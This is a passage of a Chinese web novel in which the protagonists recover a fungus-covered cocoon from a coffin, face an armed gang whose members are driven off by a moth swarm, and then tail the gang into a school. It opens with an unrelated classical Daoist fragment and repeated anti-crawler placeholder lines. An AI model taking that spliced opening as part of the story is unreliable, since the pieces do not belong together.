则叹不可思议。而下风尽礼,如其信言不美,指事直说,闻则心解,言则可行者,此实不可思议,而人翻以为浅近,而轻忽不信。经云:吾言甚易知,甚易行,天下莫能知,莫能行。夫惟无知,是以不我知。又有言火不热,灯不照暗,称为妙义。夫火以热为用,灯以照暗为功。今则盛谈火不热,未尝一时废火,灯不照暗,必须终夜然灯。言行相违,理实无取,此即破相之言,而人反以为深玄之妙。虽惠子宏辩,庄生以为不堪。肤受之流,谁能断简,至学之士,庶不留心。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 坐忘论序 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 坐忘论序 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 坐忘论序 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 这是一个防爬虫章节,正文将在爬后重新上传,如果您看到,请忽略本章节,谢谢。 坐忘论序 67. 拓展业务的一善门 由于并不是所有尸身都会被人面蛾产上卵,人们以为只有大福报的人才会“重生”。抱着每一个死去的人都能飞上天去做神仙的期盼,经过长期演变,又演变出了各种重生的仪式。刘寿材之前看到的就是。 刘先生长叹一声,道:“还记得我刚才说的话吗?沾上尸臭味就沾上了对方的因果,当年我爷爷一头栽进了那个姑娘的棺材里,便与那姑娘结了缘,左右都是缘分,自家先人没修完的缘,就落在了我这个不肖子孙身上。” 刘先生继续道:“今天第一眼见这个棺材,我就知道它是刘寿材做的,那上面的纹路和惯用的雕刻方式,都是他的手笔。我可以确定,这就是他一直让我寻找的小棺材。周围那些加固上去的木板应该是后来那些人钉上去的。” 林萤道:“不止加固了周围一圈,还加固了棺材底部。” “哦?” 刘先生站起来走到了大坑边上,他嗅了嗅,感觉下面的味道淡了许多,便轻轻一跳,从众人面前消失了。 阿曹站起来,“呀,感情刘先生也进化了!” 众人随着他的脚步,纷纷围在了大坑旁边,里面的情况尽收眼底。 只见刘先生围着棺材转了一圈,从口袋里掏出一双白线手套戴上,手指拨了拨被林萤拆坏的木板,而后仰起头向上方的众人看去,“谁来帮我一起把这个大家伙抬出去?” 小雨二话不说,直接跳了下去,“我来!” 两人合力,将棺材从地下抬了上来,又缓缓放置在鳄鱼池的地面上。 棺材侧面的木板、生锈的铁钉、垫高的棺材底,一一展现在众人眼中。 刘先生看了一圈,目光落在林萤身上,“我听说这个棺材是你发现的,上面这些木板也是你打开的吗?” 林萤点了点头。 刘先生又移到棺木的尾部,看着那里的大洞,“这个洞看着倒像是新的。” 林萤道:“我发现的时候,这个洞就已经存在了,我怀疑是里面的东西挖开木头跑出去了。” 刘先生想了想,带着众人往后退了几步,让小雨揭开棺材盖放在一边。 里面的大茧生满了灰白色的菌丝,茧身也不似昨夜圆润,变得软塌塌的,像一块一戳就能戳出洞的霉豆腐。 林萤闻不到臭味,但是从众人扭曲的面孔上也能猜出棺材里面的味道一定非常难闻,这大概是蛋白质分解后产生了硫氨基酸,它是一种让人难以忍受的恶臭味。眼见大家都往后退,林萤也适当地向后退了两步,正好退到了原初身边。 她看了一眼原初,对方从刚才就默不作声地站在一边,目光时不时从棺木滑向脚下的落叶,又落在不远处的树梢和天空之间,像一个高冷的观察者在审视着什么。林萤见状,悄悄用自己的手背蹭了蹭原初的,就见他一怔后回过神来,一双好看的眼睛无奈地瞪了林萤一眼,耳尖微微有些泛红。 对味了,这样的原医生看上去才好欺负。 这时,刘先生从上衣左边的兜里掏出口罩给自己带上,然后又从右边的兜里也掏出一只口罩,林萤以为他要递给离棺材最近的小雨,没想到他将第二只口罩叠在了第一只口罩的上面,两张口罩,N95,厚厚的两层,恐怕呼吸都有些困难。 就见刘先生一挥手,让众人再往边上退了退,紧接着他来到棺材边上,将里面那个大茧轻轻地从内壁扣了下来,他的动作小心翼翼,似乎是怕力气大了会将大茧弄破,大茧的侧面比较好剥离,但底部似乎黏在了棺材板上,半天都没扣下来。 林萤问阿曹要了一个薄薄的油灰刀,递给刘先生,这才将茧完整地取了下来。 别看这个茧很大,实际的重量比不过一个玻璃杯,刘先生轻轻将它捧起来放在一边的地上,小雨找了两块砖头,将茧稍作固定,又拿来一根长长的树枝,将大茧里面的蛹皮全部挑了出来,此时的蛹皮已经没了水分,缩成皱巴巴的一团,被刘先生堆成小小的一堆。 清理完茧里的蛹皮,刘先生从兜里摸出一个打火机,“就在这把它烧了吧!上面的细菌太多了!” 众人没有什么异议,他点燃了火,正要把打火机扔进茧里,就听一个女声叫道:“且慢!” 回过头,就见一帮穿着黑衣服的人从外面走了进来,他们的身后还跟着两个被缚住手的人,林萤认出是守门的那两个小伙子。 走在最前面的女人也很眼熟,就是前几天夜里开枪射杀战斧老大的邓汐,当时林萤在暗她在明,被逼得只剩两发子弹才无奈之下带着手下一起离开。不过,当时对方应当是有所顾忌,只趁着夜色动作,没想到还没两天,这帮人居然敢光天化日出来行动。 邓汐手里拿着的仍是那天那把枪,小小一个,威慑力十足。 当下小雨和马西梅就冷了脸,面色逐渐发白。阿曹似乎也知道邓汐的来历,他冲刚想要说话的刘先生摇了摇头,拉着对方的胳膊,两人和马西梅站在了一起。 邓汐扫视众人一圈,而后甩了甩蝎子辫,迈着婀娜的步伐缓缓走到鳄鱼池中央,站在大坑边朝里看了看,又不远不近地看了眼棺材,而后绕着大茧转了一圈,眼睛一眨不眨地盯着像是贡品一样的大茧,显然对它很感兴趣。 马西梅高声道:“我当是谁呢,原来是邓汐邓姐啊!您不在您那破诊所扎针,天天跑来我们动物园,是转行做兽医了吗?” 邓汐冷笑一声,“马大姐,我劝你少管闲事,有这个精力不如放在你自己身上,多吃多睡,没准哪一天就看不到明天的太阳了。” 马西梅道:“我看不看得到太阳不用你操心!倒是你想要的那些动物啊,都已经被运走了,算算时间,差不多已经到了蹊暇的地界,你们忙了这么久,白费一番功夫,还不如去菜市场买点鸡鸭,指不定还能收获几个灵珠呢!” 邓汐道:“你不用刺激我,我知道你们有同伙,但你别得意得太早,我们一善门也不是孤军奋战,而且……”说到这里,邓汐看向马西梅的身后,“毕竟人要吃饭,光靠良心能走多远,你们花开富贵昨天不就出了个叛徒吗?有一就有二,当心点吧!” 别人可能不清楚,但马西梅和林萤几人都知道邓 汐说的是已经去世的吴阿姨,邓汐的话不好听,但有一点没说错,人都要吃饭,花开富贵始终是个不盈利的民间自发组织,与一善门相比,无论是凝聚力还是财力都差了一大截。 马西梅还要说话,阿曹拦住了她,她不甘地抿住嘴,冒火的双眼狠狠瞪着邓汐。 邓汐见状,洋洋得意地道:“马大姐,没事跳跳广场舞,少来参和我们的事。要知道碾死你对我来说跟碾死一条虫子没什么区别,只不过我嫌恶心罢了……” 说罢,她又绕着大茧转了一圈,却在迈步走近后皱起眉头,用手捂住了鼻子,“这是什么进化了?” 现场没有人回答她,邓汐也不恼,眼珠一转道:“这个东西你们既然不要,就送给我们一善门吧!” 林萤看向原初,两人的目光在空中交汇,暗中意味不言而喻。昨天九鼎阁拍卖会一共有两枚S极进化核,一枚是林萤的,另一枚就来自于一善门。如果说他们来动物园是为了进化核,林萤还能理解,可如今,一善门却连大茧也不放过,这让林萤不禁怀疑他们是否又拓展了业务。 邓汐说着,冲身后的黑衣人努了努嘴,两个人走上前来,正要抬走大茧,却被熏得双眼流泪,一边擤鼻子一边抹眼睛,看上去不像是来干活的,倒像是来哭坟的。 马西梅讥讽道:“我看有个事挺适合你们一善门的——去给人哭丧,正好衣服都不用换!” “你们是智障吗!”邓汐踹了一脚距离自己比较近的黑衣人,又转过身去,冲一个带着小眼镜的同伙道:“你去!” 眼见那小眼镜的手就要碰到大茧上绒毛一样的菌丝,马浩哲突然出声道:“喂,小眼镜!你那个手是不是破了?别碰,容易感染!” 小眼镜惊讶地抬眼看向马浩哲,就见对方冲他点点头,手指向他的大拇指,他的拇指根部有一条约两厘米的疤痕,伤是昨晚弄的,没有贴创可贴,此时正泛着醒目的红色。 小眼镜的手下意识往回缩了缩,膝窝立即挨了一脚。 邓汐怒道:“怕什么?拿!” 正在这时,林萤突然听到远处传来一阵“扑棱棱”的声音,她狐疑地向空中望去,就见自天边飞来了一团黑色的云朵。原初显然也发现了,他甚至举起了手机,开始放大观察。 林萤突然开口,看向场中间那个趾高气扬的女人。 “邓汐。” 邓汐转过头,恼怒中带着点疑惑,“哈?” 林萤问道:“你确定要这个茧?” 邓汐反问道:“你又是谁,一善门行事需要向你交代?” 林萤摆了摆手,“既然你这么想要,那送给你们了!” 说罢,她一抬脚,将大茧踢到邓汐身前,而后迅速拉起原初,又叫上马浩哲一行人,全部向后退去。 就在这时,天空中那团乌云已经飞了过来,带着细碎的嗡鸣声。 “那是什么?” 一个黑衣人看到天空中的异象,疑惑地问道。 “云?” “不,不是云,是蛾子,一群蛾子!” 68. 漫天飞蛾 马浩哲仰着头瞪着眼,惊呼道:“卧槽!重阳木锦斑蛾!怎么会有那么多?!” 同样疑问的还有林萤。 黑翅红腹,黑色触角,成群结队,不是重阳木锦斑蛾还能是什么? 问题来了,为什么会有这么多蛾子?而且是在白天,并且周围并没有什么重阳木,这些蛾又是从哪里飞过来的? 说话间,那些黑蛾子就飞到了众人的头顶,翅膀上的鳞片像灰尘,呼啦呼啦向下撒去,落在一众黑衣人的头顶,随后,一只只蛾像子弹一样冲向最前面的小眼镜,吓得他挡住脸连连后退。 同样后退的还有邓汐和她身后的一帮黑衣人,他们伸着胳膊挥着手,想要阻止这群莫名其妙的蛾子,却毫不奏效。 邓汐甚至举起了枪,想要给这团黑云来一下,但想到子弹对这些蛾根本起不了作用,她又将枪收了回去。 马西梅和阿曹见状,绕到一善门这帮人的身后,乘乱将战斧的两个小伙全拉到了自己身边,并帮他们解开了手上的绳子。 刘先生出声感叹,“果然应该避着点,这些蛾分明就是冲着大茧来的!” 小雨道:“茧里什么都没有了啊!” 刘先生道:“可能是茧里有什么吸引它们的东西。” 马浩哲插话:“茧含角蛋白物质,对昆虫来说可是大补,说不定就是为了这个,只不过……都发霉了,真的还能吃吗?”说到最后,马浩哲也有点不太确信了。 邓汐仰头看了一眼黑压压的蛾子,它们甚至将近处的天空都遮罩住了,黑压压的鳞片像黑色的雨滴,落在邓汐的眼里,又疼又痒,她却偏偏腾不出手去揉,但凡她的手离开头顶,一只只蛾子便往她的头和面上撞,六只脚紧紧地抓住脸上的皮肤,更有往耳孔和鼻孔里面钻的,十分吓人。 她惊叫道:“谁有火,快,点火!” 说话间,一只蛾直直撞进了她的嘴里,翅膀在狭小的空间里飞快地抖动着,好在被她的舌根拦住了,不然非得直接钻进她的咽喉,顺着食管下到肚里去。 邓汐恶心到极点,又惊惧到极点,她疯狂吐出嘴里的唾液,而后彻底闭上嘴巴循着来时的方向开始往后狂奔。 正在这时,站在最后面的一个黑衣人从兜里掏出一个打火机,他迅速点燃并高高举起,顿时,他的头顶空了一片,就像一块突然被划破了的黑布,被蛾群挡住的天光从黑布的破开处照了进来。 “快,给我!” 还没等阳光接触到地面,黑衣人的打火机就被邓汐夺了过去,她想也不想,直接将靠在墙边的扫把点燃了。 被引燃的扫把起初只是冒起一股青烟,反复点燃后才慢慢燃烧起来,烧成一把“噼里啪啦”作响的火炬。邓汐将“火炬”举在手里,一下一下扑打着头顶的飞蛾,一只只飞蛾的翅膀被火燎得萎缩,“啪、啪、啪”下豆子似得从天上掉落,落在地上,又被一个个惊慌失措的脚丫“啵啵啵”地踩成肉泥,黑黑黄黄,流了一地,刚刚打扫干净的地面就这样全脏了。 一只翅膀被熏萎缩的蛾掉到了林萤的脚边,她蹲下来仔细看了看,发现这只蛾并没有进化。 “马浩哲。”林萤问道:“你对动物比较了解,你知道这些蛾为什么要攻击他们吗?” 马浩哲想了想道:“我觉得这些蛾不是在攻击他们,而是在无差别地攻击所有要动这个茧的人。早在咱们把棺材拿上来取茧的时候它们应该已经出发了,只是因为离得远,它们飞的又不快,所以到达时恰好碰到咱们被打劫……”说到这里,马浩哲幸灾乐祸地笑了起来,“说起来它们原本要对付的人是我们,只不过那些一身黑的家伙比较倒霉,成了我们的挡箭牌,不过他们也是活该,乖乖接受飞蛾大军的制裁吧!” 原初道:“谈不上制裁,但绝对能让他们恶心一阵,顺便灭灭士气。” 谈话间,大半的飞蛾已经失去了翅膀,从天空掉了下来,原本黑云一般的飞蛾群也变得稀稀拉拉,还有不少飞蛾凭着生存的本能向远处飞去,逃离了这片区域。 同时,由于长时间的燃烧,那把扫把早就已经变成了一捆碳条,不仅没了火焰,灼热的触感也让人难以握住。邓汐还想寻其他的东西,奈何周围一时半会儿找不到合适的,好在飞蛾数量大大减少,已经对人造不成太大的伤害了。 从飞蛾开始攻击到结束,前后不过三四分钟,一善门刚才还信心满满,此时却个个狼狈。 首当其冲的便是最靠前的邓汐,她一头漂亮的秀发变得乱七八糟,不但有扫把燃烧后的灰烬,辫子里也全是七零八落的飞蛾尸体,有的蛾还没死透,晃着脚丫扇着翅膀,半边身子流着不明的液体,几乎全渗进了邓汐的头发里。 再就是小眼镜,他的脸除了眼部两个白圈,几乎全黑了,像是画了妆的熊猫,看上去又好笑又可怜。 马浩哲没忍住“噗嗤”笑出了声,紧接着是小雨和两个刚被解开束缚的小伙子,而后连阿曹也憋不住笑了起来。 一边狼狈不堪,一边束手旁观,两波敌对的人形成鲜明的对比,不战而胜的一方光是站在那里就极具嘲讽,更何况是发笑。 果然,笑声激怒了邓汐,她一枪扫过来,差点没打到马浩哲的腿,好在林萤及时拉开他,才令马浩哲躲开这泄愤一击。 马浩哲被这突如其来的一枪吓得脸色煞白,他在林萤耳边哆哆嗦嗦地道:“妈呀,这个一善门就是那个卖出天价进化核的一善门吧,他们居然敢杀人,你说,杜煦是不是就是被他们的人弄走的,你想想,一善门,一位恩,读起来是不是有点像,要是那个人再带点口音,没准真是说的一善门……” 邓汐的枪口仍然瞄准着马浩哲的腿,愤怒使她正要再次扣动扳机,刘先生却突然站出来将马浩哲护在身后,他缓缓摘下口罩,露出真容,“邓汐,我劝你想清楚了再开枪,我们已经退了一步将茧让了出来,你们一善门确定要和所有人为敌吗?” “刘阎王,是你啊……”邓汐停顿了几秒,呼 了一口气,压下心头的怒火,狞笑道:“既然阎王都开口了,我这等小鬼岂能不从?但你要知道,面子是越用越薄的,下次,下次我可不会手下留情了。” 说罢,她又瞪了一眼林萤等人,而后对黑衣人一声令下,“走!” 林萤看了看目光追随着邓汐的刘先生,想不到面容亲切的他竟会被称呼为“阎王”,不过,仅仅一句话就能让邓汐放下枪,可见他的影响力不小。似乎是感觉到了林萤的目光,刘先生突然转过头看向她,林萤忙冲对方笑了笑,同时也收获了一个和善的笑容。 随着一善门的人调转过头,方才还在最前方的小眼镜远远地落在了人后,他看了看半只脚已经迈出鳄鱼池的邓汐,指着已经变了颜色的大茧问道:“邓姐,那这茧咱还要吗?” “带走!” 小眼镜抱起轻飘飘的大茧,长长的菌丝几乎要贴在了他的脸上,他吹了口气,将快要吸进鼻子里的菌丝吹到了一边,而后迈步上前,跟在了其他黑衣人的身后。一群人逃也似地离开,不消片刻,偌大的池子边就只剩下了林萤等人。 马浩哲叹了一声,“也不知道那一善门非要这个大茧干啥,难不成是为了研究上面的细菌?而且这个小眼镜也太傻了,干嘛要多问那一句,他手上那伤口要是回去不好好清洗,搞不好整个手都得废掉!” 小雨看向他,眼内全是钦佩,“小马哥,没想到你不但有文化,还是个心底柔软有爱心的人,你不但不计较对方朝你开枪,还反过来关心对方的下属,真是人不可貌相。” 马浩哲:“……” 马浩哲:“我怎么总觉得你话里有话……” 小雨真诚地笑,“我最不会说话了,我妈总说我嘴笨,所以啊,我就特别羡慕你们这些聪明人。” “……”马浩哲向后退了几步,躲在了小雨的视角盲区。 阿曹则是看向刘先生,“先生,怎么办,茧被他们拿走了。” 刘先生看上去倒是无所谓,“拿走就拿走,那只是个死物,我原本就打算把它烧掉的,没想到误打误撞,被一善门的人给拿走了。不过,目的已经达到了。” 阿曹问道:“什么目的?” 刘先生看了他一眼,又将目光移到鳄鱼池的地面上,“茧是死物,但茧里的东西是活的,你猜它会不会回来看看自己的茧,又在看到自己的茧被烧时会不会袖手旁观。” 林萤看了过来,“你的意思是,你烧它是想用它来引出背后的东西……” 刘先生摇摇头,“其实都是我的猜测,一开始确实是打算烧掉的,只是误打误撞罢了。但是刚才情形让我相信那些飞蛾是有东西在背后操控的,这个东西,应当就是从茧里出来的。” 马浩哲“嘶”了一声,问道:“是人吗?” 刘先生还未来得及回答,马西梅便道:“茧里出来的能是人吗,肯定是蛾!大蛾指挥小蛾,来攻击咱们!” 马浩哲恍然大悟:“有道理啊,姑!” 69. 抢劫便利店 正在这时,一群鸟雀被飞蛾吸引了过来,它们也不怕人,有的低空追逐所剩不多的飞蛾,有的则直接降落在地面上,叽叽喳喳,除了被踩成肉泥,剩下的失了翅膀的、半烤焦的的蛾子全部被吃了个干干净净。 刘先生则是来到一边,将方才那些被忽略了的蛹皮装进了一个塑料袋里。 马浩哲见状问道:“先生是想复原这个蛹的全貌吗?我倒是可以帮忙。” 刘先生转过头来,“你会?” 马浩哲道:“当然,别看我五大三粗的,其实我很细心,导师都夸我的活干得特别细。而且我对昆虫有一些研究,一般的鳞翅目类我也能通过蛹来辨别。” 刘先生高兴道:“果真如此?” 林萤在一旁笑,“是的,马浩哲同学是我们班的动物通,交给他没问题的。” 马浩哲道:“蛹皮复原后我们可以通过它来推测成虫的样子,比如说体型大小、性别等,这些在昆虫羽化前都已经基本成型了。” 刘先生显然很愉快,立即就将那个装着蛹皮的塑料袋递给了马浩哲,“那就交给你了,小兄弟,我原本还在发愁要怎么拼凑它呢!” 马浩哲接过塑料袋,垂头看了一眼,又立即被臭味熏得抬起了头,“好的,好的,一定不让先生失望!” 马西梅则是慈爱地捏了捏侄子的大臂,似乎在为他感到骄傲。 只有小雨站在一旁,看着刚打扫干净的地面变得又脏又臭,不由得叹气,“早起到现在一直在打扫卫生,我不太想收拾了,要不就这样放着吧!” 阿曹抬头看了看晴空,“要是能下一场大雨就好了,把它们全冲到那个墓坑里去!”说着,他一拍脑袋,“瞧我这个榆木脑袋,我记得那边有个水管,套个水龙头直接把地面一冲不就得了!”说着,他立即向外跑去,那两个战斧的小伙子也跟着他一起去了。 小雨又来到了棺材边上,他看了看对刘先生问道:“刘先生,这个棺材你想拉回去吗?” 刘先生瞪他一眼,“拉回去干啥,我还能用?” 小雨道:“不是那个意思,我想着,这毕竟是你爷爷的……嗯,杰作?不对,手工活?不对,反正,毕竟是你爷爷亲自做的,你不想留个纪念?” 刘先生深吸一口气,缓缓道:“孩子,没有人想拿别人用过的棺材当纪念品。” 林萤没有在意他们的对话,而是估摸了一下时间,从邓汐离开到现在大概过了三分钟左右,他们应该还没有走远。 于是,她对身边的马浩哲道:“我和原医生有点私事要先离开一下,不用等我们,手机联系。” 马浩哲挠了挠鬓角,“啥私事啊?” 原初走到林萤的身边,看了她一眼,而后对马浩哲道:“不是什么要紧的事,我们去去就回,等下联系。” 马浩哲还想再问,马西梅拦住了他,“人家小情侣有事你就别凑过去觍个脸当大灯泡了。”说罢,她对林萤二人挥挥手,“你们去吧,回来前给我电话,我给你们做好吃的。” 林萤点点头,“好的,谢谢姑姑!” 两人向其他人打了个招呼,而后便飞速向动物园的后门走去。 林萤在前面走,原初很快赶上她的步伐,两个人找到放置的摩托车骑出门后,林萤有片刻的停顿。 原初指了指右侧的道路,“走这边。” 林萤回过头,厚实的头盔也挡不住她的惊讶,“你怎么知道我要去哪里?” 原初道:“难道不是去追那帮一善门的人吗?” 林萤没有说话,却默默翘起嘴角,伸手朝原初比了一个大拇指,随后便发动了车辆。 此时日值晌午,天空中没有一丝云朵,抬头望去一片湛蓝,偶有几只鸟匆匆飞过,又沉默寡言地落在枝头,一片黄色的叶子从树梢落下,摇摇晃晃从鸟儿的身侧飘过,又悠悠荡荡落在了树下临时搭的棚子上,像一只飞累了的蝶。 棚子下是一个简易粥铺,铺前排满了面露苦相的人,他们手里都拿着餐盒,待盛满粥便道一声谢然后提着餐盒离去。 听说这是由于近来物价疯涨,青檀市不少人连温饱都成了问题,所以有一些大势力出来施粥,一来能帮助到他人,二来能宣传自己的势力,算是一种双赢。 看着熟悉的藏蓝色棚子和棚子下那个施粥人身上熟悉的藏蓝色大衣,林萤特意放慢了车速,果然在一旁发现了九鼎阁的标志。 平心而论,林萤对九鼎阁的初映象还不错,主要是对方打款特别利索,一点也不拖泥带水,但是后来他们的汽车被尾随,定位器就黏在车下,无论是不是九鼎阁做的,都让林萤不得不留心。 林萤道:“九鼎阁的粥棚。” 原初“嗯”了一声,两个呼吸后,车将粥棚远远甩在了身后,来到了一处十字路口。 原初在后面道:“向右。” 林萤顺势一拐,拐进右侧的小胡同,小声道:“原医生,注意看看周围有没有摄像头。” 原初悬在林萤腰侧的手紧了紧,“放心吧!” 穿过小胡同,绕着中央公园的骑行道直穿过去,便来到了一所中学校园。 自进化发生后,青檀的所有学校都已停课,这所名为“水青中学”的学校自然也不例外。只见它的校门紧闭着,从栅栏门的缝隙中可以看到铺满了黄叶的校园和空无一人的操场,操场的角落里有一只被遗忘的篮球,几经风雨,篮球的表面全是褐色的泥土。 林萤将摩托车放在路边的便利店门口,刚想进去买两包口罩,突然一伙十二三岁的少年推开店门从里面冲了出来,他们每个人手上都拿着几包食物,像炫耀战利品似得高高举着,边跑边笑,一个带头的少年大声道:“冲啊!” 随着他的喊叫声,一群孩子逃也似地四下散去,跑得快得很快便消失在街角,跑得慢的也只剩个得意洋洋的背影。 “叮铃——” 店门又一次从里面打开,穿着围裙的店员跑了出来,她大吼着:“站住,你们还没给钱——” 回答她的是肆无忌惮的笑声和孩子们远去的背影。 林萤:“……” 竟然遇到了零元购?! “这群兔崽子!”店员愤愤地回到收银台,将两包口罩放在柜台上,没好气地道:“这是你要的口罩,四百八十!” 原初一边付钱一边随口问道:“他们经常来抢东西吗?” 店员本来很生气,却在抬头看到原初的那一刻心情突然地好转,她放低音量放缓语气,柔和地说道:“最近天天来,只拿吃的,量也不多,像是家长教的。没办法,物价涨得太离谱了,我多多少少也能理解。” 林萤问:“可这样你们不会亏本吗?” 店员道:“当然!所以今早老板说让我守着这里,他要去搞一支枪,来一个崩一个,我倒觉得那些孩子罪不至此,你是说吧?” 原初点了点头,又顺手在旁边的货架上挑了一根薄荷味的唇膏,结了账,和林萤并肩走出便利店。门口有一个垃圾桶,他撕去唇膏的外包装丢了进去。 林萤看了看原初的唇,粉色的、水润有光泽的,看上去很像果冻,她不自觉舔了舔自己有些干巴的唇打趣道:“原医生‘郎艳独绝,世无其二’,即便不妆点也极美。” 原初诧异地扬了扬眉毛,而后将唇膏拧开,弯下腰凑到林萤面前,轻轻在她唇上扫了一下,“这是给你的,最近几天跑来跑去也没有按时喝水,你的嘴角都干了。” 薄荷的清凉带着唇膏原有的香味,润润地渗进林萤干涸的皮肤里,她看着近在咫尺的眼唇和微微颤动的睫毛,不自觉地舔了舔嘴角的那股清凉。 原初突然闷声笑了一下,“蹭掉了,看来得再涂一次。” 说罢,又是俯下身去。 林萤:“……” 林萤感觉自己像是被放进了微波炉里的虾,“叮——”一下,烤红了。 她低下头装作很忙的样子,一双手又是插兜又是拆包装,堪堪将口罩挂在发烫的耳朵上,才抬起头,话题转移大法信手拈来,“你刚才说那个茧就在学校里。” 原初“嗯”了一声,尾音上扬,显然非常愉悦,随后直起身来道:“具体位置要进到学校里才能确定,不过大门似乎是上了锁的。” 林萤戴上头盔,活动了一下手腕,“上了锁就翻墙,难不倒我们。” 原初跨上车,“出发!” 两人绕着学校转了一圈,这所学校整体呈长方形,占地面积并不大,围墙却很高,在拐角处有几个被打烂的摄像头,显然早就罢工了。在围墙一侧有个偏门,门口有人在守着,一善门的车辆应当就是从这里进出的。靠近操场一侧的围墙是铁栅栏,铁栅栏外面的树木虽然低矮,却有着巨大的树冠。 商量一番,两人将摩托车放在了高高的草木丛里,然后装扮成行人的样子沿着校外的小路慢悠悠走着,不多时,二人来到操场那侧的围墙处,乘着路上无人,一前一后借着树的遮挡翻进了校园里。 两人也不言语,一鼓作气来到了距离操场最近的教学楼,躲在教学楼侧面的屋檐下,林萤摸了摸自己的心脏,因为方才的剧烈运动,此刻她的心跳又急又快。 70. 跟踪邓汐 原初侧过身,透过被锁起来的透明大门往里看了看,道:“不在教学楼里。” 林萤道:“你带路,我断后,注意避开监控。” “嗯。” 原初走在前面,林萤紧随其后,她调动起自己全身的感官,以防不慎被抓个现行,她不怕对方是进化者,但怕对方有枪械,事实上,一善门确实是有枪械的,这让林萤不得不打起十二分的精神。 空荡荡的校园里一个人影都没有,尽管原初和林萤的动作很轻,还是像投进平静湖面里的两颗石子,引起了其他生物的注意,一棵正在松树上栖息的鸟扇扇翅膀飞走了,一只草丛里窝着晒太阳的猫也竖起耳朵转过又大又圆的脸颊来看他们。 原初此时连呼吸都无比轻柔,他和林萤躲在3号教学楼楼门口的出檐下,这里有一根极粗的柱子,正好能遮住他们二人。原初指了指不远处一座贴着镀膜玻璃的小楼,对林萤轻声道:“实验楼。” ——大茧在实验楼里。 林萤望向那个和天空一样颜色的三层小楼,将一只脚刚探出去的原初拉了回来。 “来人了。” 说话间,一个颇为眼熟的身影率先从蓝色小楼里走了出来,她长辫子一甩,笑得张扬,“那就再见,我们再去探探!” 说话的不是别人,正是一善门的邓汐,她换了一身衣服,头发也像是重新梳洗了一遍,发尖亮晶晶还挂着一滴水珠。 邓汐的身后跟着六个穿着黑色衣服的人,那个抱大茧的小眼镜也在其中。几人在门口站定,向里面的人说了再见,而后就见邓汐转过身,步履如飞,向前走去,几个黑衣人跟在她的身后,分成两队小跑着跟了上去。 他们从林萤所在的教学楼前经过,正要离开时,邓汐突然停住脚步猛地转过头,一双上挑的眼睛看向教学楼的楼门。 她身后的小弟问道:“邓姐,怎么了?” 就见邓汐抬起食指,指了指楼门处,“去检查一下那边的门。” 队尾的小弟跑了过去,看了看悬挂在门上的锁,又伸手推了推门,而后转身汇报:“门是锁着的,推不开。” “里面有人吗?” 小弟将脸贴在了门缝处,“一个人都没有。” 邓汐问:“你确定?我刚听到那边似乎有声音。” 小弟又使劲推了推门,推得门锁“咣当咣当”一阵响动,大门却始终紧紧闭着——他确实没说谎话。 邓汐皱了皱眉头,刚才她分明听到那边有动静,绝非错觉。 谨慎是邓汐的一贯作风,她脚尖一转,向教学楼走去。 正在这时,从教学楼后侧窜出两只正在追逐的野猫,跑在前面的那只看见人群后,立即朝另外一边跑去,紧跟着它的那只猫也调转方向,追了上去。地上的落叶被踩得沙沙作响,还有几片叶子被猫爪踩飞,又悠悠荡荡落回地上。 站在楼门边的小弟道:“吓我一跳,原来是猫啊!” 邓汐嘴角抽了抽,将迈出去的足尖收了回来。 一边的小弟道:“邓姐,你不喜欢野猫吗?我这就把它们赶走。” 邓汐摆了摆手,“不了,别浪费时间!刘阎王那个人别的不说,眼光最毒辣,有他在的地方一定有好东西。” 说罢,她转过身,带领着一队人向不远处的停车场走去。 待她们的车驶离后,楼门口的出檐上探出两颗脑袋,正是林萤和原初。 他们相视一笑,而后不约而同伸出手抹去对方脸颊上的灰尘。 林萤:“脸上有灰。” 原初:“你脸上有灰……” 两人异口同声,说完,又忍不住不出笑了起来。 “对了。”林萤拿出手机,给马浩哲打了个电话,提醒他们邓汐那帮人又要过去,让他们小心一点。马浩哲边骂边说知道了,他会告诉姑姑她们,让林萤两人也注意安全。 挂了电话,林萤看了眼蓝色的小楼边上的两只猫,双手合十道:“感谢猫猫大人的帮忙。” 二人从上方跳了下来,先是贴着墙角走到尽头,再快速跑过两栋楼中间的大路,而后沿着实验楼前的绿化带走到了楼门口。 林萤侧着耳朵听了片刻,“走,门口没有人。” 于是二人偷偷摸摸钻进了楼里,他们到了一层,先拐进右手边的走廊里,两人一边一个开始查看。 说是实验楼,林萤却没有看到一个实验室,走了一圈,她发现这边全是机房,估计是学生们用来上电脑课的地方,所有电脑都关着,房子里一个人都没有,门也全部是关着的,从一个未关严实的窗户看进去,一股电器味扑鼻而来。 原初道:“实验楼没有实验室。” “毕竟是初中教室,没有大学实验室设备完善。”林萤看了一圈,道:“没有人。” 原初同样道:“茧也没在里面。” 二人又来到左手边的走廊里,这边全是图书,老旧的书架上是翻得起了角的书籍,原初道:“这边是借阅室。”同样也是一个人都没有。 借阅室的旁边是卫生间,卫生间的对面是楼梯。 林萤和原初分别去卫生间探查一圈,男卫生间什么都没有,倒是女卫生间的纸篓里有些废纸,洗手台有未干的水迹,显然是有人在使用。 两人在卫生间的门口汇合,林萤看向对面的楼梯,“上楼看看。” 原初点点头,两人一起向前走去。 刚上了三个台阶,林萤便停了下来,她向后摆摆手,示意原初也停下,而后探着身子等了片刻,才小声道:“刚才有人经过。” 那个人是去洗手间的,脚步声比较轻快,步伐也小,应当是位女性。 等她离开洗手间后,林萤和原初也快步来到二楼,谁知,他们刚一上来,就听到一声门响,紧接着一串脚步声响起,听声音就与林萤二人隔了不到两个房间。 林萤和原初大气也不敢喘,连忙躲进对面的洗手间。 好在脚步声越来越远,待到安全距离后,林萤探出半张脸朝那边看去 ,就见走廊上一前一后两个人。前方的人穿着一身白大褂,看样子像是个医生,他的身后跟着一个穿着天蓝色护士服的年轻男子。 “徐哥,为什么要把这个大茧搬到这里来,这臭味都影响我工作的心情了!” “这么容易被影响?那接下来的任务你也不用做了,收拾收拾回家吧!” “哎?哥,不是,我就是开个玩笑,我可是百分百热爱咱们这份工作的。” 